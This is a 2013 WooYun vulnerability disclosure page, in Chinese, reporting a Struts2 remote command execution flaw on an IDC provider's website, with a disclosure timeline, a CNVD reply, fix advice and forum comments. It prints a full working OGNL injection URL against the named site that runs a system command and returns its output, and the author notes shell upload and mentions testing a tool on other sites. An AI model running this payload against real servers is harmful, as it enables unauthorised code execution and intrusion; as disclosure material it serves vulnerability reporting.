当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-024149

漏洞标题:某IDC命令执行,可直接上传shell

相关厂商:景安网络

漏洞作者: 裙下的秘密

提交时间:2013-05-20 17:08

修复时间:2013-07-04 17:09

公开时间:2013-07-04 17:09

漏洞类型:命令执行

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-05-20: 细节已通知厂商并且等待厂商处理中
2013-05-24: 厂商已经确认,细节仅向厂商公开
2013-06-03: 细节向核心白帽子及相关领域专家公开
2013-06-13: 细节向普通白帽子公开
2013-06-23: 细节向实习白帽子公开
2013-07-04: 细节向公众公开

简要描述:

代码执行

详细说明:

struts2最新命令执行,这里借助的是struts2框架的一个内置私有变量class.classLoader.jarPath,它被定义在ActionSupport这个类中,重要的是struts2为其定义了一个set方法,这个可以导致命令执行。此漏洞可以通杀struts 2.3.1.1以及以下所有版本

漏洞证明:

我是来测试工具的,有图有真相
PoC

http://www.zzidc.com/forgetpasspager.action?class.classLoader.jarPath=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3d+new+java.lang.Boolean%28false%29%2c+%23_memberAccess[%22allowStaticMethodAccess%22]%3dtrue%2c+%23a%3d%40java.lang.Runtime%40getRuntime%28%29.exec%28%27/sbin/ifconfig%27%29.getInputStream%28%29%2c%23b%3dnew+java.io.InputStreamReader%28%23a%29%2c%23c%3dnew+java.io.BufferedReader%28%23b%29%2c%23d%3dnew+char[50000]%2c%23c.read%28%23d%29%2c%23kxlzx%3d%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getWriter%28%29%2c%23kxlzx.println%28%23d%29%2c%23kxlzx.close%28%29%29%28meh%29&z[%28class.classLoader.jarPath%29%28%27meh%27%29]


QQ截图20130520151800.jpg


QQ截图20130520150559.jpg


QQ截图20130520151445.jpg


修复方案:

升级struts2到2.3.1.12以上版本

版权声明:转载请注明来源 裙下的秘密@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2013-05-24 23:20

厂商回复:

CNVD确认并复现所述情况,由CNVD尝试联系网站管理方处置
按通用软件漏洞进行评分,rank 10

最新状态:

暂无


漏洞评价:

评论

  1. 2013-05-20 17:19 | 胯下有杀气 ( 普通白帽子 | Rank:241 漏洞数:14 | 大姐,你黄瓜掉了。。。)

    @裙下的秘密 裙下哥V587 这IDC貌似很牛X

  2. 2013-05-20 18:02 | dyun ( 普通白帽子 | Rank:102 漏洞数:15 | [code][/code])

    @裙下的秘密 @胯下有杀气 好其友~~

  3. 2013-05-20 18:43 | 鱼化石 ( 实习白帽子 | Rank:93 漏洞数:18 | 介绍不能为空)

    求细节

  4. 2013-05-20 23:38 | 裙下的秘密 ( 实习白帽子 | Rank:83 漏洞数:9 | )

    @胯下有杀气 哈哈,现在在看到杀气兄说话就是另一番感觉了,我也不知道这是啥IDC 主要是为了测试下刚出炉的工具 -。-还找了个电信,和什么天翼云商城,上传无压力

  5. 2013-05-20 23:39 | 裙下的秘密 ( 实习白帽子 | Rank:83 漏洞数:9 | )

    @dyun 一辈子

  6. 2013-05-22 00:42 | 鱼化石 ( 实习白帽子 | Rank:93 漏洞数:18 | 介绍不能为空)

    @裙下的秘密 Struts2(S2-013)吧?

  7. 2013-05-22 00:44 | 鱼化石 ( 实习白帽子 | Rank:93 漏洞数:18 | 介绍不能为空)

    @鱼化石 据说还是0Day

  8. 2013-05-22 15:57 | 裙下的秘密 ( 实习白帽子 | Rank:83 漏洞数:9 | )

    @鱼化石 -.- 不是A标签那个

  9. 2013-05-23 00:29 | 鱼化石 ( 实习白帽子 | Rank:93 漏洞数:18 | 介绍不能为空)

    @裙下的秘密 poc4

  10. 2013-05-23 02:06 | 裙下的秘密 ( 实习白帽子 | Rank:83 漏洞数:9 | )

    @鱼化石 -.-

  11. 2013-07-04 11:48 | 饭团 ( 路人 | 还没有发布任何漏洞 | 我是饭团)

  12. 2013-07-04 19:42 | 小鸡鸡 ( 实习白帽子 | Rank:40 漏洞数:4 )

    @裙下的秘密 求工具